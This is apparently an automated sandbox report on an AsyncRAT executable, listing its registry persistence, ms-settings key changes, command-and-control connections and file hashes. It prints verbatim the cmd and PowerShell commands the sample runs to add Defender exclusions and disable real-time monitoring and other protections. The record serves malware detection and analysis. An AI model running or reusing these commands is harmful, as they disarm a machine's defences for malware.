Analysis Overview
SHA256
fdc933b64df0832a1f88f0e19a4cab67fb110d54c4913367a7215d7890f8a5b7
Threat Level: Known bad
The file fdc933b64df0832a1f88f0e19a4cab67fb110d54c4913367a7215d7890f8a5b7.exe was found to be: Known bad.
Malicious Activity Summary
Async RAT payload
Asyncrat family
AsyncRat
Command and Scripting Interpreter: PowerShell
Adds Run key to start application
Unsigned PE
Enumerates physical storage devices
Suspicious use of SetWindowsHookEx
Suspicious behavior: EnumeratesProcesses
Uses Task Scheduler COM API
Suspicious use of WriteProcessMemory
Suspicious use of AdjustPrivilegeToken
Modifies registry class
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-06-29 01:58
Signatures
Async RAT payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Asyncrat family
Unsigned PE
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Analysis: behavioral1
Detonation Overview
Submitted
2024-06-29 01:58
Reported
2024-06-29 02:00
Platform
win7-20240508-en
Max time kernel
144s
Max time network
146s
Command Line
Signatures
AsyncRat
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Adds Run key to start application
| Description | Indicator | Process | Target |
| Set value (str) | \REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000\Software\Microsoft\Windows\CurrentVersion\Run\JkanJjJrabo = "C:\\Users\\Admin\\AppData\\Local\\Temp\\fdc933b64df0832a1f88f0e19a4cab67fb110d54c4913367a7215d7890f8a5b7.exe" | C:\Users\Admin\AppData\Local\Temp\fdc933b64df0832a1f88f0e19a4cab67fb110d54c4913367a7215d7890f8a5b7.exe | N/A |
Enumerates physical storage devices
Modifies registry class
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000_CLASSES\ms-settings\shell | C:\Users\Admin\AppData\Local\Temp\fdc933b64df0832a1f88f0e19a4cab67fb110d54c4913367a7215d7890f8a5b7.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000_CLASSES\ms-settings\shell\open | C:\Users\Admin\AppData\Local\Temp\fdc933b64df0832a1f88f0e19a4cab67fb110d54c4913367a7215d7890f8a5b7.exe | N/A |
| Key deleted | \REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000_CLASSES\ms-settings\shell\open\command | C:\Users\Admin\AppData\Local\Temp\fdc933b64df0832a1f88f0e19a4cab67fb110d54c4913367a7215d7890f8a5b7.exe | N/A |
| Key deleted | \REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000_CLASSES\ms-settings\shell\open | C:\Users\Admin\AppData\Local\Temp\fdc933b64df0832a1f88f0e19a4cab67fb110d54c4913367a7215d7890f8a5b7.exe | N/A |
| Key deleted | \REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000_CLASSES\ms-settings | C:\Users\Admin\AppData\Local\Temp\fdc933b64df0832a1f88f0e19a4cab67fb110d54c4913367a7215d7890f8a5b7.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000_CLASSES\ms-settings\shell\open\command | C:\Users\Admin\AppData\Local\Temp\fdc933b64df0832a1f88f0e19a4cab67fb110d54c4913367a7215d7890f8a5b7.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000_CLASSES\ms-settings | C:\Users\Admin\AppData\Local\Temp\fdc933b64df0832a1f88f0e19a4cab67fb110d54c4913367a7215d7890f8a5b7.exe | N/A |
| Set value (str) | \REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000_CLASSES\ms-settings\shell\open\command\ | C:\Users\Admin\AppData\Local\Temp\fdc933b64df0832a1f88f0e19a4cab67fb110d54c4913367a7215d7890f8a5b7.exe | N/A |
| Key deleted | \REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000_CLASSES\ms-settings\shell | C:\Users\Admin\AppData\Local\Temp\fdc933b64df0832a1f88f0e19a4cab67fb110d54c4913367a7215d7890f8a5b7.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\fdc933b64df0832a1f88f0e19a4cab67fb110d54c4913367a7215d7890f8a5b7.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Users\Admin\AppData\Local\Temp\fdc933b64df0832a1f88f0e19a4cab67fb110d54c4913367a7215d7890f8a5b7.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\fdc933b64df0832a1f88f0e19a4cab67fb110d54c4913367a7215d7890f8a5b7.exe | N/A |
Suspicious use of WriteProcessMemory
Uses Task Scheduler COM API
Processes
C:\Users\Admin\AppData\Local\Temp\fdc933b64df0832a1f88f0e19a4cab67fb110d54c4913367a7215d7890f8a5b7.exe
"C:\Users\Admin\AppData\Local\Temp\fdc933b64df0832a1f88f0e19a4cab67fb110d54c4913367a7215d7890f8a5b7.exe"
C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k start /b powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath C:\Users\Admin\AppData\Local\Temp\fdc933b64df0832a1f88f0e19a4cab67fb110d54c4913367a7215d7890f8a5b7.exe & exit
C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k start /b powershell.exe Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath %USERPROFILE%\AppData" & powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath %USERPROFILE%\Local" & powershell.exe -command "Set-MpPreference -ExclusionExtension '.exe'" & exit
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath C:\Users\Admin\AppData\Local\Temp\fdc933b64df0832a1f88f0e19a4cab67fb110d54c4913367a7215d7890f8a5b7.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Set-MpPreference -SubmitSamplesConsent 2
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath C:\Users\Admin\AppData"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath C:\Users\Admin\Local"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -command "Set-MpPreference -ExclusionExtension '.exe'"
Network
| Country | Destination | Domain | Proto |
| IT | 185.196.8.223:7777 | tcp | |
| IT | 185.196.8.223:7777 | tcp | |
| IT | 185.196.8.223:7777 | tcp | |
| IT | 185.196.8.223:7777 | tcp | |
| IT | 185.196.8.223:7777 | tcp | |
| IT | 185.196.8.223:7777 | tcp | |
| IT | 185.196.8.223:7777 | tcp | |
| IT | 185.196.8.223:7777 | tcp | |
| IT | 185.196.8.223:7777 | tcp | |
| IT | 185.196.8.223:7777 | tcp | |
| IT | 185.196.8.223:7777 | tcp | |
| IT | 185.196.8.223:7777 | tcp | |
| IT | 185.196.8.223:7777 | tcp | |
| IT | 185.196.8.223:7777 | tcp | |
| IT | 185.196.8.223:7777 | tcp | |
| IT | 185.196.8.223:7777 | tcp | |
| IT | 185.196.8.223:7777 | tcp | |
| IT | 185.196.8.223:7777 | tcp | |
| IT | 185.196.8.223:7777 | tcp | |
| IT | 185.196.8.223:7777 | tcp | |
| IT | 185.196.8.223:7777 | tcp | |
| IT | 185.196.8.223:7777 | tcp | |
| IT | 185.196.8.223:7777 | tcp | |
| IT | 185.196.8.223:7777 | tcp |
Files
memory/1904-0-0x000007FEF52F3000-0x000007FEF52F4000-memory.dmp
memory/1904-1-0x0000000000C50000-0x0000000000CBC000-memory.dmp
memory/1904-2-0x000007FEF52F0000-0x000007FEF5CDC000-memory.dmp
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
| MD5 | 7cedbe448585e24df571f62dad6af14e |
| SHA1 | b4fbb0810daa982975c72b2962086a7ce8870f84 |
| SHA256 | 990495ff8e54a2865c814770ed0313879fa08db7388f245273490e71f2be35f0 |
| SHA512 | 89c9f203e193a66b13936207fb47d2587e3f9b223c987801e720d014131fe03c340b698761bee9a53db3be8ffb8a1858eea5816f9a1bedb7e5320c450532e23f |
memory/2856-18-0x0000000001F40000-0x0000000001F48000-memory.dmp
memory/2608-17-0x000000001B6D0000-0x000000001B9B2000-memory.dmp
\??\PIPE\srvsvc
| MD5 | d41d8cd98f00b204e9800998ecf8427e |
| SHA1 | da39a3ee5e6b4b0d3255bfef95601890afd80709 |
| SHA256 | e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 |
| SHA512 | cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e |
memory/1568-30-0x000000001B6E0000-0x000000001B9C2000-memory.dmp
memory/1568-31-0x0000000001E10000-0x0000000001E18000-memory.dmp
memory/1904-38-0x000007FEF52F3000-0x000007FEF52F4000-memory.dmp
memory/1904-39-0x000007FEF52F0000-0x000007FEF5CDC000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2024-06-29 01:58
Reported
2024-06-29 02:00
Platform
win10v2004-20240508-en
Max time kernel
149s
Max time network
150s
Command Line
Signatures
AsyncRat
Modifies registry class
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000_Classes\ms-settings\shell\open\command | C:\Users\Admin\AppData\Local\Temp\fdc933b64df0832a1f88f0e19a4cab67fb110d54c4913367a7215d7890f8a5b7.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000_Classes\ms-settings | C:\Users\Admin\AppData\Local\Temp\fdc933b64df0832a1f88f0e19a4cab67fb110d54c4913367a7215d7890f8a5b7.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000_Classes\ms-settings\shell | C:\Users\Admin\AppData\Local\Temp\fdc933b64df0832a1f88f0e19a4cab67fb110d54c4913367a7215d7890f8a5b7.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000_Classes\ms-settings\shell\open | C:\Users\Admin\AppData\Local\Temp\fdc933b64df0832a1f88f0e19a4cab67fb110d54c4913367a7215d7890f8a5b7.exe | N/A |
| Set value (str) | \REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000_Classes\ms-settings\shell\open\command\ | C:\Users\Admin\AppData\Local\Temp\fdc933b64df0832a1f88f0e19a4cab67fb110d54c4913367a7215d7890f8a5b7.exe | N/A |
Processes
C:\Users\Admin\AppData\Local\Temp\fdc933b64df0832a1f88f0e19a4cab67fb110d54c4913367a7215d7890f8a5b7.exe
"C:\Users\Admin\AppData\Local\Temp\fdc933b64df0832a1f88f0e19a4cab67fb110d54c4913367a7215d7890f8a5b7.exe"
Network
Files
memory/744-0-0x0000000000AD0000-0x0000000000B3C000-memory.dmp
memory/744-1-0x00007FFA4C3A3000-0x00007FFA4C3A5000-memory.dmp
memory/744-2-0x00007FFA4C3A0000-0x00007FFA4CE61000-memory.dmp
memory/744-3-0x00007FFA4C3A0000-0x00007FFA4CE61000-memory.dmp